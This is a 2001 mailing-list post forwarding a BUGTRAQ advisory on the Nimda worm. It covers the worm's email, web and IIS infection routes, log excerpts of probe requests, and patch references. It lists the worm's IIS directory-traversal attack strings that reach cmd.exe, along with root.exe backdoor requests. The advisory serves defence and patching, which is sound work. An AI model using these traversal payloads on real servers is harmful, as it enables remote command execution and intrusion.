Nimda Worm (fwd)

Wed Sep 19 14:28:15 CDT 2001

A couple of people were asking about the Nimda worm at the meeting last
night.  Below is a synopsys from the BUGTRAQ list, including links to more
information.

BTW, the attack strings listed below correspond to the kind of requests
I've been seeing on my apache servers, in the past couple of days, e.g.

207.150.87.10 - - [19/Sep/2001:00:06:21 -0500] "GET 
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 "-" "-"
207.150.87.10 - - [19/Sep/2001:00:06:21 -0500] "GET 
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 "-" "-"
207.150.87.10 - - [19/Sep/2001:00:06:21 -0500] "GET 
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 "-" "-"
207.150.87.10 - - [19/Sep/2001:00:06:22 -0500] "GET 
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 "-" "-"
207.150.87.10 - - [19/Sep/2001:00:06:22 -0500] "GET 
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288 "-" "-"
207.150.87.10 - - [19/Sep/2001:00:06:22 -0500] "GET 
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288 "-" "-"
207.150.87.10 - - [19/Sep/2001:00:06:22 -0500] "GET 
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 "-" "-"
207.150.87.10 - - [19/Sep/2001:00:06:22 -0500] "GET 
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 "-" "-"

---------- Forwarded message ----------
From: Dave Ahmad <da at securityfocus.com>
To: bugtraq at securityfocus.com
Subject: Nimda Worm

Hey,

We have been receiving reports of a new worm from a large number of users.
Instead of deluging BUGTRAQ with traffic more appropriate for INCIDENTS,
we are posting a summary of the worm and the vulnerabilities it exploits:

A new worm named W32/Nimda-A (known aliases are Nimda,
Minda, Concept V, Code Rainbow) began to proliferate the morning of
September 18, 2001 on an extremely large scale that targets the Microsoft
Windows platform.  It attempts to spread via three mechanisms; as an email
attachment, a web defacement download, and through exploitation of known
IIS vulnerabilities.  Collateral damage include network performance
degradation due to high consumption of bandwidth during the propagation
process.  There have been reports of Apache Servers being inadvertantly
affected by Nimda by being subjected to a denial of service condition (the
configuration of these servers is not known).

This worm takes advantage of multiple vulnerabilities
and backdoors.  The worm spreads via e-mail and the web.  Through the
e-mail vector, the worm arrives in the users inbox as a message with a
variable subject line.  The e-mail contains an attachment named
'readme.exe'. This worm formats the e-mail in such a way as to take
advantage of a hole in older versions of Internet Explorer.  Outlook
mail clients use the Internet Explorer libraries to display HTML e-mail,
so by extension Outlook and Outlook Express are vulnerable as well, if
Internet Explorer is vulnerable.  The hole allows the readme.exe program
to execute automatically as soon as the e-mail is previewed or read.

Once it has infected a new victim, it mails copies of itself to other
potential victims, and begins scanning for vulnerable IIS Web servers.
When scanning for vulnerable IIS servers, it attempts to exploit the
Unicode hole (bid 1806) and the escaped characters decoding command
execution vulnerability (bid 2708).  It also attempts to access
the system via the root.exe backdoor left by Code Red II.  Once it
finds a vulnerable IIS server, it installs itself in such a way that
visitors to the now-infected web site will be sent a copy of a .eml
file, which is a copy of the e-mail that gets sent.  If the victim is
using Internet Explorer as their browser, and they are vulnerable to the
hole, they will execute the readme.exe attachment in the same way as if
they had viewed an infected e-mail message.

Attack Data:

Examination of the worm reveals the following attack strings
used to exploit IIS Web servers.

'/scripts/..%255c..'
'/_vti_bin/..%255c../..%255c../..%255c..'
'/_mem_bin/..%255c../..%255c../..%255c..'
'/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%'
'/scripts/..%c1%1c..'
'/scripts/..%c0%2f..'
'/scripts/..%c0%af..'
'/scripts/..%c1%9c..'
'/scripts/..%%35%63..'
'/scripts/..%%35c..'
'/scripts/..%25%35%63..'
'/scripts/..%252f..'

To those strings are added /winnt/system32/cmd.exe?/c+dir

Other attacks include:

'/scripts/root.exe?/c+dir'
'/MSADC/root.exe?/c+dir'

It is believed that all of the vulnerabilities exploited by this worm are
known.

The links below provide fix information.  Administrators and users are
advised to apply patches as soon as possible.  If further analysis
concludes that other vulnerabilities are involved, updated information
will be posted to the list.

See:

Bugtraq ID: 2524 / CVE ID: CAN-2001-0154
Microsoft Security Bulletin MS01-020
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-020.asp
VulDB: http://www.securityfocus.com/bid/2524

Bugtraq ID: 2708 / CVE ID:  CAN-2001-0333
Microsoft Security Bulletin MS01-026
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-026.asp
VulDB: http://www.securityfocus.com/bid/2708

Bugtraq ID: 1806 / CVE ID:  CVE-2000-0884
Microsoft Security Bulletin MS00-078
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS00-078.asp
http://www.securityfocus.com/bid/1806

Microsoft IIS Lockdown Tool:

http://www.microsoft.com/technet/treeview/default.asp?url=/technet/itsolutions/security/tools/lockto
ol.asp

References:

Symantec W32.Nimda.A at mm
http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html

McAfee W32/Nimda at MM
http://vil.nai.com/vil/virusSummary.asp?virus_k=99209

Sophos W32/Nimda-A
http://www.sophos.com/virusinfo/analyses/w32nimdaa.html

For discussion of infection or attack attempts, subscribe to the INCIDENTS
mailing list.  For discussion of the worm itself and others, FORENSICS and
FOCUS-VIRUS are more appropriate than BUGTRAQ.

---

Dave Ahmad
Security Focus
www.securityfocus.com